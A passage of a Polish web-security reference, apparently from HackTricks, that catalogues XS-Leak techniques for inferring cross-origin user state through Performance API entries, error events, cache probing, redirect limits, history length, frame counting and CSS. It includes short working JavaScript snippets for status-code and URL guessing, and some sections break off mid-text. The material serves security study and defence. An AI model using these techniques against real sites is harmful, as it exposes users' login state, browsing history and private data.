* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu dotyczącego wydajności** w niektórych przeglądarkach.

### Wyciek XSS-Auditor

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Korzystając z XSS Auditor w Security Assertions, atakujący może wykryć określone elementy strony internetowej, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wywołują mechanizm filtrowania auditora.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

W Security Assertions (SA), XSS Auditor, pierwotnie przeznaczony do zapobiegania atakom typu Cross-Site Scripting (XSS), paradoksalnie może być wykorzystany do wycieku poufnych informacji. Chociaż ta wbudowana funkcja została usunięta z przeglądarki Google Chrome (GC), wciąż jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor może przypadkowo blokować prawidłowe skrypty, co prowadzi do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania określonej zawartości na stronach o różnym pochodzeniu, koncepcję znaną jako XS-Leaks, początkowo zgłoszoną przez Teradę i rozwiniętą przez Heyesa w wpisie na blogu. Chociaż te techniki dotyczyły tylko XSS Auditora w GC, odkryto, że w SA strony blokowane przez XSS Auditora nie generują wpisów w API Performance, ujawniając metodę wycieku poufnych informacji.

### Wyciek X-Frame

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu dotyczącego czasu zasobu.
* **Przykład kodu**:
### Wyciek przekierowania początkowego

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Przekierowanie
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie**: Wyciek wpisu dotyczącego czasu rozpoczęcia przekierowania.
* **Przykład kodu**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Znaleźliśmy jedno wystąpienie XS-Leak, które wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dotyczących żądań międzydomenowych. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów międzydomenowych. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowany** przez stronę docelową, poprzez zapytanie **Performance API** i sprawdzenie danych czasowych **redirectStart**.

### Wyciek czasu trwania przekierowania

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Przekierowanie
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie**: Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

W GC, **czas trwania** dla żądań, które skutkują **przekierowaniem**, jest **ujemny** i można go zatem **rozróżnić** od żądań, które nie skutkują przekierowaniem.

### Wyciek CORP

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie**: Zasoby chronione za pomocą CORP nie tworzą wpisów dotyczących czasu zasobu.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

W niektórych przypadkach można użyć wpisu **nextHopProtocol** jako techniki wycieku. W GC, gdy ustawiony jest nagłówek **CORP**, nextHopProtocol będzie **pusty**. Należy zauważyć, że SA w ogóle nie tworzy wpisu wydajnościowego dla zasobów z włączonym CORP.

### Pracownik usługi

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Użycie interfejsu API
* **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Podsumowanie**: Wykrywanie, czy pracownik usługi jest zarejestrowany dla określonego źródła.
* **Przykład kodu**:

Pracownicy usługi są kontekstami skryptowymi sterowanymi zdarzeniami, które działają w określonym źródle. Pracują w tle strony internetowej i mogą przechwytywać, modyfikować i **buforować zasoby**, aby tworzyć aplikacje internetowe offline.\
Jeśli **zasób buforowany** przez pracownika usługi jest dostępny za pośrednictwem **ramki**, zasób zostanie **załadowany z bufora pracownika usługi**.\
Aby sprawdzić, czy zasób został **załadowany z bufora pracownika usługi**, można użyć **Performance API**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).

### Pamięć podręczna

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Czasowanie
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Podsumowanie**: Możliwe jest sprawdzenie, czy zasób został przechowywany w pamięci podręcznej.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

Za pomocą [Performance API](xs-search.md#performance-api) można sprawdzić, czy zasób jest buforowany.

### Czas trwania sieci

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Podsumowanie**: Możliwe jest pobranie czasu trwania sieciowego żądania z API `performance`.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Technika komunikatów o błędach

### Błąd multimediów

* **Metody włączenia**: Elementy HTML (Wideo, Audio)
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Podsumowanie**: W przeglądarce Firefox możliwe jest dokładne wyciekanie kodu stanu żądania międzydomenowego.
* **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
Interfejs `MediaError` posiada właściwość `message`, która jednoznacznie identyfikuje zasoby, które są poprawnie ładowane za pomocą unikalnego ciągu znaków. Atakujący może wykorzystać tę funkcję, obserwując zawartość wiadomości, co pozwala wywnioskować status odpowiedzi zasobu z innej domeny.

### Błąd CORS

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Podsumowanie**: W przypadku twierdzeń dotyczących bezpieczeństwa (SA), komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
* **Przykład kodu**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Ta technika umożliwia atakującemu **wydobycie celu przekierowania strony z innej domeny** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej strony, która przekierowuje na podstawie stanu użytkownika, a następnie przeglądarka odrzuca żądanie, w komunikacie o błędzie ujawniany jest **pełny adres URL docelowego przekierowania**. Ta podatność nie tylko ujawnia fakt przekierowania, ale także eksponuje punkt końcowy przekierowania i ewentualne **wrażliwe parametry zapytania**, które może zawierać.

### Błąd SRI

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Podsumowanie**: W przypadku twierdzeń dotyczących bezpieczeństwa (SA), komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
* **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Atakujący może wykorzystać **rozszerzone komunikaty o błędach**, aby wywnioskować rozmiar odpowiedzi zasobów z innej domeny. Jest to możliwe dzięki mechanizmowi Integralności Podzasobów (SRI), który używa atrybutu integralności do sprawdzania, czy zasoby pobierane, często z CDN-ów, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innej domeny, muszą być **włączone CORS**; w przeciwnym razie nie podlegają one sprawdzaniu integralności. W przypadku twierdzeń dotyczących bezpieczeństwa (SA), podobnie jak w przypadku błędu CORS XS-Leak, można przechwycić komunikat o błędzie po nieudanym żądaniu fetch z atrybutem integralności. Atakujący może celowo **wywołać ten błąd**, przypisując **fałszywą wartość skrótu** do atrybutu integralności dowolnego żądania. W przypadku twierdzeń dotyczących bezpieczeństwa (SA), wynikający z tego komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Wyciek tej informacji pozwala atakującemu rozpoznać różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.

### Naruszenie/odkrycie CSP

* **Metody włączenia**: Wyskakujące okna
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Podsumowanie**: Jeśli w CSP dozwolona jest tylko strona ofiary, a próbuje ona przekierować na inną domenę, CSP spowoduje wykrywalny błąd.
* **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak może wykorzystać CSP do wykrycia, czy strona z innej domeny została przekierowana na inną domenę. Wyciek ten może wykryć przekierowanie, ale dodatkowo ujawnia domenę docelową przekierowania. Podstawową ideą tego ataku jest **dozwolenie na domenę docelową na stronie atakującego**. Po wysłaniu żądania do domeny docelowej, następuje przekierowanie na domenę z innej domeny. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawnić lokalizację docelową przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który nastąpiło przekierowanie, ale wciąż można wykryć, że zostało ono uruchomione.

### Pamięć podręczna

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Podsumowanie**: Wyczyść plik z pamięci podręcznej. Otwórz stronę docelową i sprawdź, czy plik jest obecny w pamięci podręcznej.
* **Przykład kodu:**

Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Bez względu na ich pochodzenie, można wywnioskować, czy strona docelowa **żądała określonego pliku**.

Jeśli strona ładowana jest obrazem tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** ten **zasób** (aby nie był już w pamięci podręcznej, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **za pomocą błędnego żądania** (np. używając zbyt długiego nagłówka referer). Jeśli ładowanie zasobu **nie spowodowało żadnego błędu**, oznacza to, że jest on **w pamięci podręcznej**.

### Dyrektywa CSP

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Podsumowanie**: Dyrektywy nagłówka CSP mogą być sondowane za pomocą atrybutu iframe CSP, ujawniając szczeg
### CORB

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Podsumowanie**: CORB może umożliwić atakującym wykrycie obecności nagłówka **`nosniff`** w żądaniu.
* **Przykład kodu**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Sprawdź link, aby uzyskać więcej informacji na temat ataku.

### Błąd CORS na skutek błędu konfiguracji odbicia pochodzenia <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Podsumowanie**: Jeśli nagłówek Origin jest odbijany w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

Jeśli nagłówek Origin jest odbijany w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować pobrać zasób w trybie CORS. Jeśli nie zostanie wywołany błąd, oznacza to, że zasób został poprawnie pobrany z sieci, jeśli zostanie wywołany błąd, oznacza to, że został pobrany z pamięci podręcznej (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS, który zezwala na oryginalną domenę, a nie na domenę atakującego).\
Należy zauważyć, że jeśli nie jest odbijany pochodzenie, ale używany jest znak wieloznaczny (`Access-Control-Allow-Origin: *`), to nie zadziała.

## Technika odczytu atrybutów

### Przekierowanie Fetch

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Kod stanu
* **Więcej informacji**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Podsumowanie**: GC i SA pozwalają sprawdzić typ odpowiedzi (opaque-redirect) po zakończeniu przekierowania.
* **Przykład kodu**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Przesyłając żądanie za pomocą Fetch API z parametrem `redirect: "manual"` i innymi parametrami, możliwe jest odczytanie atrybutu `response.type`, a jeśli jest równy `opaqueredirect`, oznacza to, że odpowiedź była przekierowaniem.

### COOP

* **Metody włączenia**: Wyskakujące okna
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Podsumowanie**: Strony zabezpieczone przez Cross-Origin Opener Policy (COOP) uniemożliwiają dostęp do interakcji między pochodzeniami.
* **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Atakujący jest w stanie wywnioskować obecność nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP z innego pochodzenia. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odwołań do okien. Obecność tego nagłówka można zauważyć, próbując uzyskać dostęp do odwołania **`contentWindow`**. W przypadkach, gdy COOP jest stosowane warunkowo, właściwość **`opener`** staje się wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, a **zdefiniowana**, gdy jest nieaktywne.

### Maksymalna długość adresu URL - po stronie serwera

* **Metody włączenia**: Fetch API, Elementy HTML
* **Wykrywalna różnica**: Kod stanu / Zawartość
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Podsumowanie**: Wykrywanie różnic w odpowiedziach z powodu przekroczenia maksymalnej długości odpowiedzi przekierowania, co może spowodować błąd serwera i wygenerowanie alertu.
* **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Jeśli przekierowanie po stronie serwera używa **danych użytkownika wewnątrz przekierowania** i **dodatkowych danych**, możliwe jest wykrycie tego zachowania, ponieważ serwery zwykle mają **limit długości żądania**. Jeśli **dane użytkownika** mają **tę samą długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to **błąd wykrywalny za pomocą zdarzeń błędów**.

Jeśli somehow uda ci się ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą ilość ciasteczek** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), aby zwiększyć **rozmiar odpowiedzi** poprawnej odpowiedzi i spowodować błąd. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego rozwiązania: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

Zazwyczaj dla tego rodzaju ataku wymagane jest ustawienie `SameSite=None` lub bycie w tym samym kontekście.

### Maksymalna długość adresu URL - po stronie klienta

* **Metody włączenia**: Wyskakujące okna
* **Wykrywalna różnica**: Kod stanu / Zawartość
* **Więcej informacji**: [https://ctf.zeyu2001.com/2023/h
### Maksymalna liczba przekierowań

* **Metody włączenia**: Fetch API, Ramki
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Podsumowanie:** Użyj limitu przekierowań przeglądarki, aby stwierdzić występowanie przekierowań URL.
* **Przykład kodu**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Jeśli **maksymalna** liczba **przekierowań** przeglądarki wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **przekierować ofiarę** na testowaną stronę. Jeśli zostanie wywołany **błąd**, oznacza to, że strona próbowała **przekierować ofiarę**.

### Długość historii

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Przekierowania
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można go uzyskać za pomocą właściwości length.
* **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

API Historii umożliwia kodowi JavaScript manipulowanie historią przeglądarki, która **zapisuje odwiedzone przez użytkownika strony**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
Sprawdzanie `history.length`, sprawienie, że użytkownik **przechodzi** do strony, **zmiana** jej **z powrotem** do tego samego pochodzenia i **sprawdzenie** nowej wartości **`history.length`**.

### Długość historii dla tego samego URL

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Jeśli URL jest taki sam jak zgadywany
* **Podsumowanie:** Możliwe jest zgadnięcie, czy lokalizacja ramki/wyskakującego okna znajduje się w określonym URL, wykorzystując długość historii.
* **Przykład kodu**: Poniżej

Atakujący może użyć kodu JavaScript do **manipulowania lokalizacją ramki/wyskakującego okna na zgadywany URL** i **natychmiast** **zmienić go na `about:blank`**. Jeśli długość historii wzrośnie, oznacza to, że URL był poprawny i miał czas na **zwiększenie się, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrośnie, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast** załadowaliśmy **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadywanego URL.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Liczenie ramek

* **Metody włączenia**: Ramki, wyskakujące okienka
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Podsumowanie**: Oceń ilość elementów iframe, sprawdzając właściwość `window.length`.
* **Przykład kodu**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Liczenie **liczby ramek** na stronie internetowej otwartej za pomocą `iframe` lub `window.open` może pomóc zidentyfikować **status użytkownika na tej stronie**.\
Ponadto, jeśli strona zawsze ma tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzorca**, który może wyciekać informacje.

Przykładem tej techniki jest to, że w przeglądarce Chrome **PDF** może być **wykrywane** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest element `embed`. Istnieją [Parametry otwierania URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.

### HTMLElementy

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Podsumowanie**: Odczytaj wyciekłą wartość, aby rozróżnić między dwoma możliwymi stanami
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

Wyciek informacji za pomocą elementów HTML jest problemem w zabezpieczeniach stron internetowych, zwłaszcza gdy dynamiczne pliki multimedialne są generowane na podstawie informacji użytkownika lub gdy dodawane są znaki wodne, zmieniające rozmiar mediów. Atakujący mogą wykorzystać to do rozróżnienia między możliwymi stanami, analizując informacje ujawniane przez określone elementy HTML.

### Informacje ujawniane przez elementy HTML

- **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` mediów, do których można uzyskać dostęp za pomocą jego API.
[Czytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, które oferują bardziej szczegółowe informacje na temat zawartości multimedialnej.
[Czytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegółowe informacje na temat jakości odtwarzania wideo, w tym `totalVideoFrames`, które może wskazywać ilość przetworzonych danych wideo.
[Czytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, co wskazuje na niepowodzenie poprawnego wczytania obrazu.
[Czytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)


### Właściwość CSS

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Podsumowanie**: Zidentyfikuj zmiany w stylizacji strony internetowej, które korelują ze stanem użytkownika.
* **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Aplikacje internetowe mogą zmieniać **stylizację strony internetowej** w zależności od stanu użytkownika. Na stronie atakującego można osadzić pliki CSS z innych domen za pomocą **elementu link HTML**, a **reguły** zostaną **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** określonego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znane są dotknięte elementy i nazwa właściwości.

### Historia CSS

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Podsumowanie**: Wykryj, czy styl `:visited` jest zastosowany do adresu URL, wskazując, że został już odwiedzony
* **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
Według [**tego**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
{% endhint %}

Selektor CSS `:visited` jest wykorzystywany do stylizacji adresów URL w inny sposób, jeśli zostały one wcześniej odwiedzone przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być wykorzystana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, które uniemożliwiają tej metodzie ujawnienie stanu linku. Środki te obejmują zawsze zwracanie obliczonego stylu tak, jakby link był odwiedzony, oraz ograniczenie stylów, które można zastosować za pomocą selektora `:visited`.

Mimo tych ograniczeń możliwe jest pośrednie rozpoznanie stanu odwiedzonego linku. Jedną z technik jest wprowadzenie użytkownika w błąd, aby wchodził w interakcję z obszarem objętym CSS, w szczególności wykorzystując właściwość `mix-blend-mode`. Ta właściwość umożliwia mieszanie elementów z ich tłem, potencjalnie ujawniając stan odwiedzenia na podstawie interakcji użytkownika.

